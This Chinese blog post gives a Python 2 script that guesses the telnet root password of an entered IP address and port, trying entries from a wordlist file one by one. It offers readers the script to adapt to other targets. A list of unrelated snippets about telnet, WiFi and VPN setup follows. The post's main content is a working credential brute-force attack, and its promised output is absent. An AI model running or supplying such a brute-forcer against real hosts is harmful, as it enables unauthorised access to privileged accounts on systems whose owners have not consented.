Python实现Telnet自动连接检测密码

最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。

代码如下:

#encoding=utf-8
import telnetlib
import time
import sys
import os

def do_telnet(Host, Port, username, password, finish):
    #连接Telnet服务器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)

    #输入登录用户名
    tn.read_until("login: ")
    tn.write(str(username)+'\n')

    # 输入登录密码
    tn.read_until("Password: ")
    tn.write(str(password)+'\n')

    # 判断密码错误提示,如果没有这个提示说明登录成功
    if tn.read_until(finish):
       print "****** login incorrect!\n"
    tn.close();

if __name__=='__main__':
    Host = raw_input("IP:")           # Telnet服务器IP
    Port = raw_input("Port:")        # Telnet服务器端口
    username = 'root'          # 登录用户名
    finish = 'incorrect'       # 密码错误提示
    pw_file = open('.\\pw.txt','r+') #密码文件
    Index = 0
    print time.asctime(),":   ****** begin","\n"
    while True:
        password = pw_file.readline()
        Index +=1;
        print Index,time.asctime(),":   ****** try","",username,":",password,""
        if len(password) == 0:
            break;
        do_telnet(Host, Port, username, password, finish)
    pw_file.close();

密码本pw.txt,内容例如:

root
admin
12345
888888

输出如下:

注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。

时间: 2024-11-05 11:44:56

Python实现Telnet自动连接检测密码的相关文章

利用VBS脚本实现Telnet自动连接

把以下代码保存为*.vbs文件,替换IP.用户名.密码. Dim objShell Set objShell = CreateObject("Wscript.Shell") objShell.Run "cmd.exe",1,False WScript.Sleep 1000 objShell.SendKeys "telnet 192.168.1.25" WScript.Sleep 1000 objShell.SendKeys "{ENTE

Android自动连接WiFi优先级规则,以及查看已连接WiFi的密码

目前Android的WiFi自动连接的优先级规则如下: 1.priority值的范围设定为[0,1000000),如果超出此范围则会reset; 2.最近连接过的AP拥有最高priority,在自动连接中会首先尝试连接它; 3.未连接过但是扫描到的AP,按其信号值强弱排序,越强的显示靠前,但是,还得综合 AP的安全因素,基本情况是:WPA/WPA2 > WEP > signal level high > signal level low > noise low > noise

锐捷网络自动连接python脚本

1 实现锐捷网络的连接,当断开后自动重连 import os import sys import time ip = 'www.baidu.com' print('开始ping百度') backinfo = os.system('ping -c 1 -w 1 %s'%ip) # 实现pingIP地址的功能,-c1指发送报文一次,-w1指等待1秒 # print('backinfo is:', backinfo) for i in range(500000): if backinfo: print

Python 2.7_初试连接Mysql查询数据导出到exce_20161216

由于每天到公司都需要先执行一遍检测操作,观察数据是否导入完整,今天想到能否自动连接Mysql执行SQL并导出数据,每天到公司直接查看excel文件即可 时间紧,代码以及excel格式还没有调,初次试验,边摸索边学习吧.sql代码那句总想能不能用个变量代替,显得太冗长了 #coding:utf-8 import MySQLdb import xlsxwriter import datetime import os today = datetime.date.today() oldfile='dem

如何在Windows系统上利用Telnet协议连接Linux服务器

Telnet协议是Internet远程登录服务的标准协议,它为用户提供了在本地计算机上完成远程主机工作的能力.很多终端使用者都习惯在计算机上利用Telnet会话来远程控制服务器.这里小编就分两步为大家演示如何在Windows系统上利用Telnet协议连接Linux服务器. 步骤一:在Windows系统上打开Telnet功能:  步骤二:在Linux系统上启用Telnet服务. 步骤一:Windows终端开启Telnet功能 1/由于在Windows Vista之后的版本默认并没有提供Telnet

python脚本实现集群检测和管理

python脚本实现集群检测和管理 场景是这样的:一个生产机房,会有很多的测试机器和生产机器(也就是30台左右吧),由于管理较为混乱导致了哪台机器有人用.哪台机器没人用都不清楚,从而产生了一个想法--利用一台机器来管理所有的机器,记录设备责任人.设备使用状态等等信息....那么,为什么选择python,python足够简单并且拥有丰富的第三方库的支持. 最初的想法 由于刚参加工作不久,对这些东西也都没有接触过,轮岗到某个部门需要做出点东西来(项目是什么还没情况,就要做出东西来,没办法硬着头皮想点

AIX添加可以telnet远程连接账号方法

AIX 中添加账号可以使用命令mkuser 和 SMIT 两种方式,这里介绍SMIT方式 1.使用root 账号登录AIX 2.输入 smitty user 3.选择Add a User 4.输入"User Name"  "HOME directory"  按回车创建用户 输入 #finger test  可以查看用户创建情况 5. 为新创建的用户 创建密码 6.此时建的用户是没有权限登录的,需要给该账号创建远程登录权限 设置方法是编辑/etc/security/u

linux开机自动连接无线网络

       1.右击无线网络图标的“编辑连接”. 2.在“无线”选项卡里,选择“编辑”. 3.在“无线安全性”选项卡里,输入无线密匙,并选中左下角的“对所有用户可      用”的选项点击应用,会提示输入用        户密码以授权. 4.然后点击无线网络图标,点击无线网络的名字,即可自动连接至无线网络. 以后每次开机,都不会再提示输入密匙才能连接无线网络了.

〖Linux〗自动连接VPN脚本(开机执行)

最近发现VPN经常会断线.. 环境:Ubuntu 14.04 一.创建VPN配置 单击桌面右上网络图标 -- 编辑连接 -- 添加 -- PPTP -- 新建 (填写上网关.用户名.密码...) 高级 -- 使用点到点加密(MPPE) -- 确定 二.查看刚刚新建网络UUID: nmcli con list 记录下你的VPN连接UUID 三.编写自动连接脚本: sudo vi /etc/init.d/autovpn sudo chmod +x /etc/init.d/autovpn 1 #!/b